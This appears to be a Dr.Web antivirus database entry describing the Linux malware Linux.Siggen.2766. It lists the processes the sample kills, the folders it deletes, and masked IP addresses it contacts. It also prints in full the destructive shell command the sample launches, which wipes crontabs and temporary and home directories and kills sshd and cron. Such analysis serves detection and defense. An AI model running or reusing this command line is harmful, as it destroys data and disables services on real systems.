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Linux.Siggen.2766
Added to the Dr.Web virus database:
2020-04-30
Virus description added:
2020-04-29
Technical Information
Malicious functions:
Launches itself as a daemon
Substitutes application name for:
Launches processes:
sh -c crontab -r ; pkill -9 sshd ; pkill -9 cron ; rm -rf $HOME/.b* ; rm -rf $HOME/.gn* ; rm -rf $HOME/.* ; rm -rf /var/solr/.gn* ; rm -rf /home/je*/.ba* ; rm -rf /tmp/* ; rm -rf ../temp/* ; rm -rf ../logs/* ; rm -rf temp/* ; rm -rf logs/* ; rm -rf /dev/shm/* ; rm -rf /tmp/.* ; rm -rf /usr/local/sbin/* ; rm -rf /usr/local/sbin/.* ; rm -rf /tmp/* ; rm -rf /run/lock/ ; chattr -R -i /tmp/* ; chattr -R -i /etc/cro*/* ; rm -rf /etc/cro*/* ; rm -rf /tmp/.* ; rm -rf /dev/shm/* ; rm -rf /dev/shm/* ; rm -rf /dev/run/* ; rm -rf /var/tmp/* ; rm -rf /var/tmp/.* ; mkdir /tmp/zzz ; chmod 000 /tmp/zzz ; mkdir /var/tmp/zzz ; chmod 000 /var/tmp/zzz ; mkdir /var/tmp/kinsing ; chmod 000 /var/tmp/kinsing ; chattr -R -i /var/spool/*/* ; rm -rf /etc/rc.d/init.d/kw* ; rm -rf /var/spool/*/*/* ; >/dev/null 2>/dev/null
Kills system processes:
Kills the following processes:
run.sh
bash
systemd
cron
systemd-udevd
systemd-journal
kworker/u2:0
/bin/sh
Performs operations with the file system:
Deletes folders:
/tmp//.font-unix
/tmp//.ICE-unix
/tmp//.X11-unix
/tmp//.XIM-unix
/tmp//.Test-unix
Network activity:
Establishes connection:
16#.##5.104.230:80
17#.##5.62.199:80
14#.##.143.179:80
Curing recommendations
Linux
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